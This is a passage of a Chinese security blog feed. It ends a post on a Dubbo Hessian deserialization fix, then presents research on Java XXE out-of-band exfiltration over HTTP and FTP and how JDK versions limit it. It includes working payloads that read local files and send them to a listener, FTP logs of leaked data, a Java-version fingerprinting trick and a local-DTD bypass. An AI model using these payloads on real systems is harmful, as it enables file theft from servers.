&lt;p&gt;上面两种触发方式是不一样的，一个是利用异常处理中存在设计不足，使得可以执行用户可控参数的toString方法，也即“后反序列化”利用思路，另一个是直接反序列化hessian2数据，期间对hashmap的操作进入toString，从调用栈上也能看出两者的区别。&lt;/p&gt;

&lt;h2 id=&#34;修复方式&#34;&gt;修复方式&lt;/h2&gt;

&lt;p&gt;按照&lt;a href=&#34;https://github.com/apache/dubbo/pull/6374&#34;&gt;dubbo/pull/6374&lt;/a&gt;建议的方法，给&lt;code&gt;ParameterTypesDesc&lt;/code&gt;加上校验，严格限制类型为&lt;code&gt;Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;&lt;/code&gt;，同时建议参考&lt;a href=&#34;https://github.com/sofastack/sofa-hessian&#34;&gt;sofa-hessian&lt;/a&gt;给反序列化加上黑名单&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/image-20200701192122667.png&#34; alt=&#34;image-20200701192122667&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;参考&#34;&gt;参考&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://www.mail-archive.com/dev@dubbo.apache.org/msg06544.html&#34;&gt;https://www.mail-archive.com/dev@dubbo.apache.org/msg06544.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://rui0.cn/archives/1338&#34;&gt;http://rui0.cn/archives/1338&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.anquanke.com/post/id/197658&#34;&gt;https://www.anquanke.com/post/id/197658&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/apache/dubbo/pull/6374&#34;&gt;https://github.com/apache/dubbo/pull/6374&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;script&gt;pangu.spacingPage();&lt;/script&gt;
</description>
    </item>
    
    <item>
      <title>JAVA XXE中两种数据传输形式及相关限制</title>
      <link>https://kylingit.com/blog/java-xxe%E4%B8%AD%E4%B8%A4%E7%A7%8D%E6%95%B0%E6%8D%AE%E4%BC%A0%E8%BE%93%E5%BD%A2%E5%BC%8F%E5%8F%8A%E7%9B%B8%E5%85%B3%E9%99%90%E5%88%B6/</link>
      <pubDate>Thu, 07 May 2020 10:40:08 +0000</pubDate>
      
      <guid>https://kylingit.com/blog/java-xxe%E4%B8%AD%E4%B8%A4%E7%A7%8D%E6%95%B0%E6%8D%AE%E4%BC%A0%E8%BE%93%E5%BD%A2%E5%BC%8F%E5%8F%8A%E7%9B%B8%E5%85%B3%E9%99%90%E5%88%B6/</guid>
      <description>

&lt;script src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/pangu.js&#34;&gt;&lt;/script&gt;

&lt;p&gt;示例代码：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();
DocumentBuilder dbBuilder = dbFactory.newDocumentBuilder();
doc = dbBuilder.parse(&amp;quot;xxe.xml&amp;quot;);
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;http传输&#34;&gt;HTTP传输&lt;/h3&gt;

&lt;p&gt;xxe_http.xml&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-xml&#34;&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;
        &amp;lt;!DOCTYPE ANY [
                &amp;lt;!ENTITY % dtd SYSTEM &amp;quot;http://127.0.0.1:8080/http.dtd&amp;quot;&amp;gt;
                %dtd;
                %http;
                %send;
                ]&amp;gt;
&amp;lt;ANY&amp;gt;xxe&amp;lt;/ANY&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;http.dtd&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-xml&#34;&gt;&amp;lt;!ENTITY % file SYSTEM &amp;quot;file:///C:/Windows/win.ini&amp;quot;&amp;gt;
&amp;lt;!ENTITY % http &amp;quot;&amp;lt;!ENTITY &amp;amp;#37; send SYSTEM &#39;http://127.0.0.1:8080/%file;&#39;&amp;gt;&amp;quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在&lt;code&gt;dbBuilder.parse(&amp;quot;xxe_http.xml&amp;quot;)&lt;/code&gt;时会产生异常&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;java.net.MalformedURLException: Illegal character in URL
	at sun.net.www.http.HttpClient.getURLFile(Unknown Source)
	at sun.net.www.protocol.http.HttpURLConnection.getRequestURI(Unknown Source)
	at sun.net.www.protocol.http.HttpURLConnection.writeRequests(Unknown Source)
	at sun.net.www.protocol.http.HttpURLConnection.getInputStream(Unknown Source)
	at com.sun.org.apache.xerces.internal.impl.XMLEntityManager.setupCurrentEntity(Unknown Source)
	at com.sun.org.apache.xerces.internal.impl.XMLEntityManager.startEntity(Unknown Source)
	at com.sun.org.apache.xerces.internal.impl.XMLEntityManager.startEntity(Unknown Source)
	at com.sun.org.apache.xerces.internal.impl.XMLDTDScannerImpl.startPE(Unknown Source)
	at com.sun.org.apache.xerces.internal.impl.XMLDTDScannerImpl.skipSeparator(Unknown Source)
	at com.sun.org.apache.xerces.internal.impl.XMLDTDScannerImpl.scanDecls(Unknown Source)
	at com.sun.org.apache.xerces.internal.impl.XMLDTDScannerImpl.scanDTDInternalSubset(Unknown Source)
	at com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl$DTDDriver.dispatch(Unknown Source)
	at com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl$DTDDriver.next(Unknown Source)
	at com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl$PrologDriver.next(Unknown Source)
	at com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl.next(Unknown Source)
	at com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl.scanDocument(Unknown Source)
	at com.sun.org.apache.xerces.internal.parsers.XML11Configuration.parse(Unknown Source)
	at com.sun.org.apache.xerces.internal.parsers.XML11Configuration.parse(Unknown Source)
	at com.sun.org.apache.xerces.internal.parsers.XMLParser.parse(Unknown Source)
	at com.sun.org.apache.xerces.internal.parsers.DOMParser.parse(Unknown Source)
	at com.sun.org.apache.xerces.internal.jaxp.DocumentBuilderImpl.parse(Unknown Source)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这是因为在&lt;code&gt;rt.jar!/sun/net/www/http/HttpClient.class&lt;/code&gt;中，JDK7u21&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;public String getURLFile() throws IOException {
    String str = this.url.getFile();
    if (str == null || str.length() == 0) {
      str = &amp;quot;/&amp;quot;;
    }

    if (this.usingProxy &amp;amp;&amp;amp; !this.proxyDisabled) {
        //...
    }
    if (str.indexOf(&#39;\n&#39;) == -1) {
      return str;
    }
    throw new MalformedURLException(&amp;quot;Illegal character in URL&amp;quot;);
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;能够看到在处理httpURL的时候，如果字符串含有换行符(&lt;code&gt;\n&lt;/code&gt;)就会直接抛出异常，而一般通过http外带基本只能拼接到url中，所以碰到需要往外带的数据含有换行符时就会失败&lt;/p&gt;

&lt;p&gt;对&lt;code&gt;\n&lt;/code&gt;的处理应该在比较早的版本就引入了，从commit中看到最早在05年的代码中就有这块处理，所以默认高版本Java应该是对url都有处理的&lt;/p&gt;

&lt;h3 id=&#34;ftp传输&#34;&gt;FTP传输&lt;/h3&gt;

&lt;p&gt;xxe_ftp.xml&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-xml&#34;&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;
&amp;lt;!DOCTYPE ANY [
&amp;lt;!ENTITY % dtd PUBLIC &amp;quot;-//OXML/XXE/EN&amp;quot; &amp;quot;http://127.0.0.1:8080/ftp.dtd&amp;quot;&amp;gt;
        %dtd;%ftp;%send;
        ]&amp;gt;
&amp;lt;ANY&amp;gt;xxe&amp;lt;/ANY&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;ftp.dtd&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-xml&#34;&gt;&amp;lt;!ENTITY % file SYSTEM &amp;quot;file:///D:/data.txt&amp;quot;&amp;gt;
&amp;lt;!ENTITY % ftp &amp;quot;&amp;lt;!ENTITY &amp;amp;#37; send SYSTEM &#39;ftp://fakeuser:%file;@127.0.0.1:2121&#39;&amp;gt;&amp;quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;其中&lt;code&gt;%file;&lt;/code&gt;的引用有两种方式，一个是在PASS字段引用，一个是在URL路径中引用，两种方式存在一定差异，具体可以见下面情况一分析&lt;/p&gt;

&lt;p&gt;先来看触发XXE的过程中FTP客户端与服务端的交互&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;info: FTP: recvd &#39;USER fakeuser&#39;
info: FTP: recvd &#39;PASS testdata&#39;
info: FTP: recvd &#39;TYPE A&#39;
info: FTP: recvd &#39;CWD .&#39;
info: FTP: recvd &#39;EPSV ALL&#39;
info: FTP: recvd &#39;EPSV&#39;
info: FTP: recvd &#39;EPRT |1|127.0.0.1|50130|&#39;
info: FTP: recvd &#39;LIST&#39;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到server会向client发送几个指令，包括要求提供用户名密码(数据在此阶段被带出)，切换路径，列出文件等过程。&lt;/p&gt;

&lt;p&gt;使用Everything自带的FTP服务功能，通过抓包观察正常的FTP交互流程，大致是这样子的&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20200507103436.png&#34; alt=&#34;1575011384700&#34; /&gt;&lt;/p&gt;

&lt;p&gt;注意到发送LIST指令时会返回150和226，那么在xxer中也尽可能模拟这个过程，但是在实际利用中会发现，当xxer服务端接收到LIST指令时，client与server不再有交互了，处于一个互相等待的过程中，具体的原因见下面分析&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sun.net.ftp.impl.FtpClient&lt;/code&gt;处理&lt;code&gt;LIST&lt;/code&gt;指令的过程中存在一个bug（可能与模拟的ftpserver没有支持所有指令有关），&lt;code&gt;FtpClient.openDataConnection()&lt;/code&gt;方法中，&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20200507103807.png&#34; alt=&#34;1573805362144&#34; /&gt;&lt;/p&gt;

&lt;p&gt;当ftpserver收到LIST指令后模拟正常ftp通信返回226代码，然后当前socket进入accept，会创建一个新的Socket，接着通过&lt;code&gt;java.net.ServerSocket#implAccept()&lt;/code&gt;方法接受socket连接&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20200507103808.png&#34; alt=&#34;1573805487835&#34; /&gt;&lt;/p&gt;

&lt;p&gt;但是此时的address是null，也就是说服务端和客户端此时是没有正常建立新的socket的，于是两端都处在等待状态，客户端就会被挂起。&lt;/p&gt;

&lt;p&gt;然而抓包看整个通信过程，client与server的交互与正常的交互是一模一样的，正常ftp服务端收到LIST指令后返回226传输完毕，当前socket会正常关闭，然后等待下一次交互指令，但是在xxer/xxeserv模拟的过程中却会被挂起，这个问题暂时没有解决办法。（passive mode，客户端发送指令使服务端进入被动模式，但没有效果）&lt;/p&gt;

&lt;p&gt;如果这个过程是发生在weblogic端并且Java版本较低时，并不影响数据传输，只是会有一个对ftpserver的长连接，但是如果是在本地通过外部实体的方式解析xml文件，同样会被挂在长连接的过程，于是就有可能无法生成相应的payload&lt;/p&gt;

&lt;p&gt;网上也有相关问题&lt;a href=&#34;https://stackoverflow.com/questions/3666124/ftp-connection-hangs-on-list&#34;&gt;https://stackoverflow.com/questions/3666124/ftp-connection-hangs-on-list&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Tips：如何利用FTP获取目标Java版本&lt;/p&gt;

&lt;p&gt;ftp.dtd&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-xml&#34;&gt;&amp;lt;!ENTITY % file SYSTEM &amp;quot;file:///D:/data.txt&amp;quot;&amp;gt;
&amp;lt;!ENTITY % ftp &amp;quot;&amp;lt;!ENTITY &amp;amp;#37; send SYSTEM &#39;ftp://127.0.0.1:2121/%file;&#39;&amp;gt;&amp;quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;当不指定用户名和密码直接连接FTP时，client默认会以anonymous登录，密码则是client的Java版本，所以可以利用这个方式获取目标服务器的Java版本：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;info: FTP: recvd &#39;USER anonymous&#39;
info: FTP: recvd &#39;PASS Java1.7.0_21@&#39;
info: FTP: recvd &#39;TYPE I&#39;
info: FTP: recvd &#39;EPSV ALL&#39;
info: FTP: recvd &#39;EPSV&#39;
info: FTP: recvd &#39;EPRT |1|127.0.0.1|54357|&#39;
info: FTP: recvd &#39;RETR tesdata&#39;
&lt;/code&gt;&lt;/pre&gt;

&lt;h4 id=&#34;ftp中特殊字符的问题&#34;&gt;FTP中特殊字符的问题&lt;/h4&gt;

&lt;h5 id=&#34;情况一&#34;&gt;情况一&lt;/h5&gt;

&lt;p&gt;各种特殊字符在特定版本下的情况&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;测试的jdk版本：&lt;strong&gt;JDK7u21&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;pwd字段意义：&lt;code&gt;&amp;lt;!ENTITY % ftp &amp;quot;&amp;lt;!ENTITY &amp;amp;#37; send SYSTEM &#39;ftp://fakeuser:%file;@127.0.0.1:2121&#39;&amp;gt;&amp;quot;&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;file字段意义：&lt;code&gt;&amp;lt;!ENTITY % ftp &amp;quot;&amp;lt;!ENTITY &amp;amp;#37; send SYSTEM &#39;ftp://fakeuser:s@127.0.0.1:2121/%file;&#39;&amp;gt;&amp;quot;&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;符号/位置&lt;/th&gt;
&lt;th&gt;\n&lt;/th&gt;
&lt;th&gt;[&lt;/th&gt;
&lt;th&gt;&amp;lsquo;&lt;/th&gt;
&lt;th&gt;&amp;ldquo;&lt;/th&gt;
&lt;th&gt;%&lt;/th&gt;
&lt;th&gt;&amp;amp;&lt;/th&gt;
&lt;th&gt;@&lt;/th&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;?&lt;/th&gt;
&lt;th&gt;/&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;pwd字段&lt;/td&gt;
&lt;td&gt;√&lt;/td&gt;
&lt;td&gt;×&lt;/td&gt;
&lt;td&gt;×&lt;/td&gt;
&lt;td&gt;√&lt;/td&gt;
&lt;td&gt;×(*0)&lt;/td&gt;
&lt;td&gt;×(*0)&lt;/td&gt;
&lt;td&gt;×(*1)&lt;/td&gt;
&lt;td&gt;√&lt;/td&gt;
&lt;td&gt;×&lt;/td&gt;
&lt;td&gt;×&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;file字段&lt;/td&gt;
&lt;td&gt;√&lt;/td&gt;
&lt;td&gt;√&lt;/td&gt;
&lt;td&gt;×&lt;/td&gt;
&lt;td&gt;√&lt;/td&gt;
&lt;td&gt;×&lt;/td&gt;
&lt;td&gt;×&lt;/td&gt;
&lt;td&gt;√&lt;/td&gt;
&lt;td&gt;√(*2)&lt;/td&gt;
&lt;td&gt;√(*3)&lt;/td&gt;
&lt;td&gt;√(*4)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;*0：org.xml.sax.SAXParseException：&lt;code&gt;%&lt;/code&gt; &lt;code&gt;&amp;amp;&lt;/code&gt;都有实际意义，不能被正常引用和替换&lt;/li&gt;
&lt;li&gt;*1：java.net.UnknownHostException：@被当作用户名:密码@主机，不能正确处理&lt;/li&gt;
&lt;li&gt;*2：会截断&lt;code&gt;#&lt;/code&gt;之后的内容，URL锚点&lt;/li&gt;
&lt;li&gt;*3：会截断&lt;code&gt;?&lt;/code&gt;之后的内容，URL参数&lt;/li&gt;
&lt;li&gt;*4：&lt;code&gt;/&lt;/code&gt;分隔的每部分会单独出现在CWD指令中，最后一部分出现在%file&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;

&lt;p&gt;解决办法：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;单引号/双引号：能否正常读取取决于参数实体的写法，简单说就是用单引号来防止闭合双引号，用双引号来防止闭合单引号；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;&lt;/code&gt; &lt;code&gt;%&lt;/code&gt; &lt;code&gt;&amp;amp;&lt;/code&gt;等，通过&lt;code&gt;&amp;lt;![CDATA[&amp;lt;&amp;quot;%&#39;&amp;amp;]]&amp;gt;&lt;/code&gt;忽略特殊字符；&lt;/li&gt;
&lt;/ol&gt;

&lt;h5 id=&#34;情况二&#34;&gt;情况二&lt;/h5&gt;

&lt;p&gt;换行符在不同版本下的情况&lt;/p&gt;

&lt;p&gt;jdk7u131与jdk7u141的&lt;a href=&#34;http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/comparison/e890a6aef622/src/share/classes/sun/net/ftp/impl/FtpClient.java&#34;&gt;对比&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20200507103809.png&#34; alt=&#34;1574933020030&#34; /&gt;&lt;/p&gt;

&lt;p&gt;jdk8u131-b08与jdk8u131-b09的&lt;a href=&#34;http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/comparison/81ddd5fc5a4e/src/share/classes/sun/net/ftp/impl/FtpClient.java&#34;&gt;对比&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20200507103810.png&#34; alt=&#34;1574933574859&#34; /&gt;&lt;/p&gt;

&lt;p&gt;因此，通过ftp外带数据时，Java版本 &lt;strong&gt;&amp;lt;7u141-b00&lt;/strong&gt; 或 &lt;strong&gt;&amp;lt;8u131-b09&lt;/strong&gt; 时才不会受文件中&lt;code&gt;\n&lt;/code&gt;的影响。&lt;/p&gt;

&lt;p&gt;相关链接：&lt;a href=&#34;https://bugzilla.redhat.com/show_bug.cgi?id=1443083&#34;&gt;https://bugzilla.redhat.com/show_bug.cgi?id=1443083&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;上面的修复补丁都是在&lt;code&gt;rt.jar!/sun/net/ftp/impl/FtpClient.class#issueCommand()&lt;/code&gt;中增加对换行符的判断，但是四哥在&lt;a href=&#34;http://scz.617.cn/misc/201911011122.txt&#34;&gt;Java底层修改对XXE利用FTP通道的影响&lt;/a&gt;中提到FTP通道被阻断的时候还没有触发到&lt;code&gt;issueCommand()&lt;/code&gt;，这边也来调试一下&lt;/p&gt;

&lt;p&gt;环境JDK8u141，直接断到&lt;code&gt;issueCommand()&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;发现在8u141中，对&lt;code&gt;\n&lt;/code&gt;的检查确实是在&lt;code&gt;issueCommand()&lt;/code&gt;，RETR返回的数据中如果有换行符就抛出&lt;code&gt;sun.net.ftp.FtpProtocolException: Illegal FTP command&lt;/code&gt;，那么四哥说的在这之前有一个checkURL方法又是在哪里呢，搜一下java源码确定一下引入checkURL是在哪个版本&lt;/p&gt;

&lt;p&gt;最终找到相关更新：&lt;a href=&#34;http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/diff/5652862ec123/src/share/classes/sun/net/www/protocol/ftp/FtpURLConnection.java&#34;&gt;http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/diff/5652862ec123/src/share/classes/sun/net/www/protocol/ftp/FtpURLConnection.java&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;github上相关&lt;a href=&#34;https://github.com/JetBrains/jdk8u_jdk/commit/4aacc0da12ae2f5bb29aa1b304ba62da23bb024a#diff-3f0521a031333913976fe611f840d0ebR160&#34;&gt;commit&lt;/a&gt;，版本是 jdk8u_jdk-jb8u232-b1638.6，时间是2019年4月份&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20200507103811.png&#34; alt=&#34;1574996536989&#34; /&gt;&lt;/p&gt;

&lt;p&gt;1.8.0_141相关调用栈&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;Exception in thread &amp;quot;main&amp;quot; java.io.IOException: sun.net.ftp.FtpProtocolException: Illegal FTP command
	at sun.net.www.protocol.ftp.FtpURLConnection.getInputStream(FtpURLConnection.java:518)
	at com.sun.org.apache.xerces.internal.impl.XMLEntityManager.setupCurrentEntity(XMLEntityManager.java:623)
	at com.sun.org.apache.xerces.internal.impl.XMLEntityManager.startEntity(XMLEntityManager.java:1304)
	at com.sun.org.apache.xerces.internal.impl.XMLEntityManager.startEntity(XMLEntityManager.java:1240)
	at com.sun.org.apache.xerces.internal.impl.XMLDTDScannerImpl.startPE(XMLDTDScannerImpl.java:741)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;1.8.0_232相关调用栈&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;Exception in thread &amp;quot;main&amp;quot; java.lang.IllegalArgumentException: Illegal character in URL
	at sun.net.www.protocol.ftp.FtpURLConnection.checkURL(FtpURLConnection.java:164)
	at sun.net.www.protocol.ftp.FtpURLConnection.&amp;lt;init&amp;gt;(FtpURLConnection.java:188)
	at sun.net.www.protocol.ftp.Handler.openConnection(Handler.java:61)
	at sun.net.www.protocol.ftp.Handler.openConnection(Handler.java:56)
	at java.net.URL.openConnection(URL.java:1001)
	at com.sun.org.apache.xerces.internal.impl.XMLEntityManager.setupCurrentEntity(XMLEntityManager.java:621)
	at com.sun.org.apache.xerces.internal.impl.XMLEntityManager.startEntity(XMLEntityManager.java:1304)
	at com.sun.org.apache.xerces.internal.impl.XMLEntityManager.startEntity(XMLEntityManager.java:1240)
	at com.sun.org.apache.xerces.internal.impl.XMLDTDScannerImpl.startPE(XMLDTDScannerImpl.java:741)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;综上，利用XXE漏洞通过FTP协议外带数据时，能否成功受Java版本影响，总结如下&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&amp;lt;7u141-b00&lt;/strong&gt; 或 &lt;strong&gt;&amp;lt;8u131-b09&lt;/strong&gt; ：不会受文件中&lt;code&gt;\n&lt;/code&gt;的影响；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&amp;gt;jdk8u131&lt;/strong&gt;：能创建FTP连接，外带文件内容中含有&lt;code&gt;\n&lt;/code&gt;则抛出异常；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&amp;gt;jdk8u232&lt;/strong&gt;：不能创建FTP连接，只要url中含有&lt;code&gt;\n&lt;/code&gt;就会抛出异常；&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;dtd引用中的问题&#34;&gt;dtd引用中的问题&lt;/h2&gt;

&lt;h3 id=&#34;问题1&#34;&gt;问题1&lt;/h3&gt;

&lt;p&gt;内部实体与外部实体不能结合使用&lt;/p&gt;

&lt;p&gt;有一个需要注意的点是，参数实体只能在DTD中引用，举个例子&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-xml&#34;&gt;&amp;lt;!ELEMENT person1 (name, sex, age)&amp;gt;
&amp;lt;!ELEMENT person2 (name, sex, age)&amp;gt;
&amp;lt;!ELEMENT person3 (name, sex, age)&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;为了减少重复定义某些元素，可以通过参数实体的方式进行定义，如&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-xml&#34;&gt;&amp;lt;!ELEMENT %res &amp;quot;name, sex, age&amp;quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;然后通过%res进行引用&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-xml&#34;&gt;&amp;lt;!ELEMENT person1 (%res;)&amp;gt;
&amp;lt;!ELEMENT person2 (%res;)&amp;gt;
&amp;lt;!ELEMENT person3 (%res;)&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;但是这种元素替换的方式&lt;strong&gt;仅限于外部DTD&lt;/strong&gt;。在以上过程中，参数实体将元素组保存在DTD的外部子集中，因为内部子集有非常严格的校验，即标记声明中不允许引用参数实体，如下的参数实体引用是会失败的，抛出异常&lt;code&gt;java.io.IOException: org.xml.sax.SAXParseException: The parameter entity reference &amp;quot;%file;&amp;quot; cannot occur within markup in the internal subset of the DTD.&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20200507103812.png&#34; alt=&#34;1574842595707&#34; /&gt;&lt;/p&gt;

&lt;p&gt;这些实体可以定义DTD语法，但不能定义在另一个DTD标签中立即引用，如下面的使用也将失败：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-xml&#34;&gt;&amp;lt;!ENTITY %res &amp;quot;name, sex, age&amp;quot;&amp;gt;
&amp;lt;!ELEMENT person (%res;)&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;但是，可以通过在外部参数实体中声明，在内部DTD子集中使用的形式：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-xml&#34;&gt;&amp;lt;!DOCTYPE ANY [
        &amp;lt;!ENTITY % dtd SYSTEM &amp;quot;http://localhost/my.dtd&amp;quot;&amp;gt;
&amp;lt;ANY&amp;gt;xxe&amp;lt;/ANY&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;远程my.dtd&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-xml&#34;&gt;&amp;lt;!ENTITY % file SYSTEM &amp;quot;file:///C:/file&amp;quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;总结，对于上面定义的参数实体，需要注意的点是：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;对参数实体的引用只能在DTD中发生；&lt;/li&gt;
&lt;li&gt;参数实体不能在文档主体中使用；&lt;/li&gt;
&lt;li&gt;内部DTD子集中的标记内不允许使用参数实体引用；&lt;/li&gt;
&lt;li&gt;参数实体允许创建其他实体和参数实体；&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;问题2&#34;&gt;问题2&lt;/h3&gt;

&lt;p&gt;无法向外请求dtd&lt;/p&gt;

&lt;p&gt;假如目标系统存在防火墙，无法对外发起连接，就不能通过外部dtd注入了，此时可以利用系统本地已存在的dtd文件，覆盖其中的某个实体，通过报错形式进行利用&lt;/p&gt;

&lt;p&gt;local.dtd&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-xml&#34;&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;

        &amp;lt;!ENTITY % local_dtd SYSTEM &amp;quot;file:///C:\Windows\System32\xwizard.dtd&amp;quot;&amp;gt;

        &amp;lt;!ENTITY % onerrortypes &#39;(aa) #IMPLIED&amp;gt;
        &amp;lt;!ENTITY &amp;amp;#x25; file SYSTEM &amp;quot;file:///D:/data.txt&amp;quot;&amp;gt;
        &amp;lt;!ENTITY &amp;amp;#x25; http &amp;quot;&amp;lt;!ENTITY &amp;amp;#x26;#x25; send SYSTEM &amp;amp;#x27;http://127.0.0.1:8080/&amp;amp;#x25;file;&amp;amp;#x27;&amp;gt;&amp;quot;&amp;gt;
        &amp;amp;#x25;http;
        &amp;amp;#x25;send;
        &amp;lt;!ATTLIST xxe aa &amp;quot;bb&amp;quot; #IMPLIED&#39;&amp;gt;
        %local_dtd;
        ]&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;xxe_http.xml&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-xml&#34;&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;
&amp;lt;!DOCTYPE ANY [
        &amp;lt;!ENTITY % dtd SYSTEM &amp;quot;http://127.0.0.1:8080/local.dtd&amp;quot;&amp;gt;
        %dtd;
        ]&amp;gt;
&amp;lt;ANY&amp;gt;xxe&amp;lt;/ANY&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;更多的本地dtd可以参考&lt;a href=&#34;https://github.com/GoSecure/dtd-finder/blob/master/list/xxe_payloads.md&#34;&gt;https://github.com/GoSecure/dtd-finder/blob/master/list/xxe_payloads.md&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;另一个思路：从目标机器上的jar包中发现可以被利用的本地dtd文件&lt;/p&gt;

&lt;p&gt;参考：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://www.gosecure.net/blog/2019/07/16/automating-local-dtd-discovery-for-xxe-exploitation/&#34;&gt;https://www.gosecure.net/blog/2019/07/16/automating-local-dtd-discovery-for-xxe-exploitation/&lt;/a&gt;&lt;/li&gt;
